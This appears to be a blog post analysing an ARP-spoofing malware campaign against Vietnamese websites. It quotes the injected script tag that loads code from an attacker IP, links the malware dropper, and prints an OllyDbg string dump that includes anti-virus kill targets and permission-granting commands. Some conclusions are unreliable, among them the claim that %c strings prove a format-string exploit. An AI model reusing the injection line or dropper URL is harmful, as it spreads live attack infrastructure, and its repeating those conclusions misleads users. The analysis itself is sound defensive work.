Virus again? Damn it!

In the last few days there was an attack from a Chinese hacker to computer networks in Vietnam. When surfing the Internet, especially on Vietnamese websites, many people see advertisements of Chinese websites roaming around the pages. There's a rumour going around that this attack is related to the recent clash between China and Vietnam over some islands, but I'm in no position to discuss about it :P

Anyway, as a patriot, I decided to make everything clear once and for all. By checking the source code of the pages, I found the following piece of code "injected" on the pages:

<script src=http://121.15.220.104/1.js></script>

I came to a conclusion that this was a man-in-the-middle attack, in which the hacker pwnzored a node somewhere between the victim computers and the host, and filtered the content on-the-fly. After doing some research on Google, I found that this was done with a virus that attacked a computer, then turned it into a gateway by faking the MAC address, and then filtered everything that went through it (this method is called ARP spoofing). Also I found a program that was probably the evil thing spreading the virus over the network: http://121.15.220.104/Setup.exe.

I decided to have a look at it. After some unpacking, I was able to load in under OllyDbg. You would be amazed to see the String table:

Address    Disassembly                               Text string
004016B4   PUSH Setup.0040B058                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004016C5   PUSH Setup.0040B054                       ASCII " ""
0040175E   PUSH Setup.0040B04C                       ASCII "\*"
004017E4   PUSH Setup.0040B040                       ASCII ".."
004019C6   MOV EDI,Setup.0040B100                    ASCII "%c%c%c"
00401AC1   PUSH Setup.0040B040                       ASCII ".."
00401B24   PUSH Setup.0040B0F8                       ASCII "360"
00401B3A   MOV EAX,Setup.0040B0F4                    ASCII "AD"
00401BAB   MOV EAX,Setup.0040B0F0                    ASCII "GO"
00401C45   PUSH Setup.0040B0EC                       ASCII ".js"
00401CC6   PUSH Setup.0040B0E8                       ASCII "exe"
00401D2A   PUSH Setup.0040B0E4                       ASCII "\~"
00401E4A   PUSH Setup.0040B0E0                       ASCII "rar"
00401E5E   PUSH Setup.0040B0DC                       ASCII "zip"
00401E9E   CMP DWORD PTR SS:[EBP-1EC],500000         ASCII "Actx "
00401EE1   PUSH Setup.0040B0D4                       ASCII "\bak\"
00401F5F   PUSH Setup.0040B0CC                       ASCII " X ""
00401F6A   PUSH Setup.0040B0C8                       ASCII "" ""
00401F95   PUSH Setup.0040B0B4                       ASCII "" -r -inul -ibck -y"
0040203C   PUSH Setup.0040B0D4                       ASCII "\bak\"
004020BE   PUSH Setup.0040B0D4                       ASCII "\bak\"
00402108   PUSH Setup.0040B0AC                       ASCII " A ""
00402113   PUSH Setup.0040B0C8                       ASCII "" ""
00402138   PUSH Setup.0040B084                       ASCII "*.*" -r -inul -ibck -y -m0 -df -ep -ep1"
00402230   PUSH Setup.0040B080                       ASCII "ddd"
00402285   PUSH Setup.0040B0D4                       ASCII "\bak\"
0040255D   PUSH Setup.0040B11C                       ASCII "^|"
004025B0   PUSH Setup.0040B10C                       ASCII "cmd.exe /c ""
0040279B   PUSH Setup.0040B120                       ASCII "%c:\"
00402974   PUSH Setup.0040B284                       ASCII "ieframe"
00402988   PUSH Setup.0040B274                       ASCII "cabinetwclass"
0040299C   PUSH Setup.0040B25C                       ASCII "mozillauiwindowclass"
004029B0   PUSH Setup.0040B254                       ASCII "metapad"
004029C5   PUSH Setup.0040B24C                       ASCII "dr.web"
004029DB   PUSH Setup.0040B244                       ASCII "avg "
00402A03   PUSH Setup.0040B230                       ASCII "tapplication"
00402A27   PUSH Setup.0040B220                       ASCII "AfxMDIFrame42s"
00402A3A   PUSH Setup.0040B218                       ASCII "360safe"
00402A50   PUSH Setup.0040B218                       ASCII "360safe"
00402A66   PUSH Setup.0040B210                       ASCII "360anti"
00402A7C   PUSH Setup.0040B208                       ASCII "afx:"
00402AAB   MOV EDI,Setup.0040B200                    ASCII "#32770"
00402AD2   PUSH Setup.0040B1E8                       ASCII "thunderrt6main"
00402AF8   PUSH Setup.0040B1E0                       ASCII "antivir"
00402B3A   PUSH Setup.0040B1C8                       ASCII "kvxp"
00402BC4   PUSH Setup.0040B198                       ASCII "thunderrt6formdc"
00402BDE   PUSH Setup.0040B188                       ASCII "ThunderRT6Timer"
00402BF1   PUSH Setup.0040B180                       ASCII "ewido"
00402C07   PUSH Setup.0040B178                       ASCII "escan"
00402C1D   PUSH Setup.0040B170                       ASCII "mcagent"
00402C7E   PUSH Setup.0040B158                       ASCII "bitdefender"
00402C99   PUSH Setup.0040B148                       ASCII "facelesswndproc"
00402D3A   PUSH Setup.0040B130                       ASCII "##vso##"
00402D4D   PUSH Setup.0040B128                       ASCII "avast"
00402E58   PUSH Setup.0040B0E8                       ASCII "exe"
00402FAE   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403005   PUSH Setup.0040B9A4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403046   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403057   MOV EDI,Setup.0040B968                    ASCII "XOR"
00403098   PUSH Setup.0040B200                       ASCII "#32770"
00403122   PUSH Setup.0040B960                       ASCII "xxpin"
004031C5   PUSH Setup.0040B8B0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032A4   PUSH Setup.0040B7D4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032FC   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403323   PUSH Setup.0040B7C8                       ASCII "%c%c%c%c%c"
00403355   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"
00403385   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"
0040342C   PUSH Setup.0040B744                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004034A2   PUSH Setup.0040B738                       ASCII "%s\cmd.exe"
004034D7   PUSH Setup.0040B730                       ASCII "%s\com"
004034F1   PUSH Setup.0040B728                       ASCII "%s\%s"
0040352D   PUSH Setup.0040B718                       ASCII "pagefile.pif"
00403544   PUSH Setup.0040B708                       ASCII "CabinetWClass"
00403897   PUSH Setup.0040B688                       ASCII "%c%c%ct%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004038D3   PUSH Setup.0040B678                       ASCII "Common Startup"
004038F9   PUSH Setup.0040B728                       ASCII "%s\%s"
00403989   PUSH Setup.0040B61C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004039F2   PUSH Setup.0040B614                       ASCII ".exe"
00403AA0   PUSH Setup.0040B5DC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403B14   PUSH Setup.0040B614                       ASCII ".exe"
00403B6E   PUSH Setup.0040B5D0                       ASCII "\rar.exe"
00403B73   PUSH Setup.0040B5C4                       ASCII "\winrar.exe"
00403C0C   PUSH Setup.0040B544                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403CA2   PUSH Setup.0040B4F0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403D19   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403D3A   PUSH Setup.0040B4E0                       ASCII ":F"
00403D52   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403D7F   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403D93   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403DCC   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403DF1   PUSH Setup.0040B4E0                       ASCII ":F"
00403E09   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403E72   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403E8A   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403EDB   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403F00   PUSH Setup.0040B4E0                       ASCII ":F"
00403F18   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403F81   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403F99   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00404053   PUSH Setup.0040B4B0                       ASCII "\ntfsus.exe"
004040BC   PUSH Setup.0040B4AC                       ASCII "pac"
00404190   PUSH Setup.0040B4A8                       ASCII " ^"
00404212   PUSH Setup.0040B614                       ASCII ".exe"
0040424F   PUSH Setup.0040B49C                       ASCII ".exe.log"
0040426C   PUSH Setup.0040B4A8                       ASCII " ^"
004042EE   PUSH Setup.0040B494                       ASCII "%s.~"
004042FF   PUSH Setup.0040B48C                       ASCII "%s.exe"
0040436D   MOV EDI,Setup.0040B484                    ASCII ".log"
0040444D   PUSH Setup.0040B47C                       ASCII "\netc"
0040445E   PUSH Setup.0040B474                       ASCII "fg.000"
0040446B   PUSH Setup.0040B468                       ASCII "\netcfg.dll"
004044A8   PUSH Setup.0040B464                       ASCII "#32"
004044B5   PUSH Setup.0040B460                       ASCII "770"
00404569   PUSH Setup.0040B450                       ASCII "CNJBlaipbofF"
004045BE   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
004045F3   PUSH Setup.0040B120                       ASCII "%c:\"
004046B0   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004046D7   PUSH Setup.0040B728                       ASCII "%s\%s"
00404744   PUSH Setup.0040B408                       ASCII "%s\boot.ini"
00404822   PUSH Setup.0040B400                       ASCII "\bak"
0040489A   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004048B8   PUSH Setup.0040B728                       ASCII "%s\%s"
004048F1   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"
0040490C   PUSH Setup.0040B728                       ASCII "%s\%s"
00404949   PUSH Setup.0040B3C8                       ASCII "%c%c%c%c%c%c%c%c%c%c"
00404973   PUSH Setup.0040B728                       ASCII "%s\%s"
004049BA   PUSH Setup.0040B400                       ASCII "\bak"
004049DB   PUSH Setup.0040B400                       ASCII "\bak"
00404A15   PUSH Setup.0040B400                       ASCII "\bak"
00404A60   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00404B7A   PUSH Setup.0040B2AC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%"...
00404EE6   PUSH Setup.0040BA38                       ASCII "ping.exe -f -n 1 www.baidu.com"
00405004   PUSH Setup.0040BA5C                       ASCII "rb"
00405077   PUSH Setup.0040BA5C                       ASCII "rb"
00405117   PUSH Setup.0040BA58                       ASCII "wb"
00405229   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"
00405648   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"
00405669   PUSH Setup.0040BA58                       ASCII "wb"
0040578F   PUSH Setup.0040BA60                       ASCII "cmd.exe /c del /F /Q ""
00405800   PUSH Setup.0040BA58                       ASCII "wb"
004059E7   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
00405A38   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"
00405A52   MOV ESI,Setup.0040BB9C                    ASCII "
"
00405A87   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405AD1   PUSH Setup.0040BB70                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%s%s%c%c%c%c"
00405B2E   PUSH Setup.0040BB30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405B79   PUSH Setup.0040BB04                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405BD6   PUSH Setup.0040BAC0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s%s%s%s%c%c%c%c"
00405C37   PUSH Setup.0040BA78                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405D5C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00405EDF   PUSH Setup.0040B120                       ASCII "%c:\"
00405F11   MOV EBP,Setup.0040B400                    ASCII "\bak"
0040602B   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
0040606C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00406099   PUSH Setup.0040B120                       ASCII "%c:\"
00406241   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040628F   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406391   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406476   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406553   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406634   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004066FD   PUSH Setup.0040BC9C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004067BD   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406814   PUSH Setup.0040BC74                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040690C   PUSH Setup.0040BBD4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406950   MOV EDI,Setup.0040BBCC                    ASCII "Type"
0040696D   MOV EBX,Setup.0040BBC4                    ASCII "radio"
004069E2   PUSH Setup.0040BBBC                       ASCII "IEFrame"
00406A43   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406B62   PUSH Setup.0040BF0C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CA3   PUSH Setup.0040BF3C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CB4   PUSH Setup.0040B968                       ASCII "XOR"
004073DB   SUB ESP,68                                (Initial CPU selection)
00407539   PUSH 10000                                UNICODE "=::=::\"

I can tell this virus is really dangerous. It kills every anti-virus program you have in an instant. The existence of those %c shows that it is using a buffer overflow/format string exploit, which is very effective against a naive operating system like Windows. It also opens some ports on your computer: 135, 139, 445, 1026, and 5152.

As I'm running out of time for tonight, let's leave the detailed analysis of the virus for later, and get to the removal instruction. If you have a look at the running processes under Security Task Manager, you'll see that the virus is faking the name of lsass.exe and smss.exe, with similar ones in C:\Windows\system32\com\. Also it probably wants to hijack your browser with ljjijgf.dll in C:\Windows\system32\ too. Get rid of them and you're safe :)

Update: as discovered by my little brother, you need to get rid of 2 other fake files: rar.exe and alg.exe somewhere in the Windows directory too.

Update2: the virus has been identified as W32.Dashfer.Worm by BKIS. You can get BKAV to wipe the virus away from your computer.

And finally, some images for your curious eyes: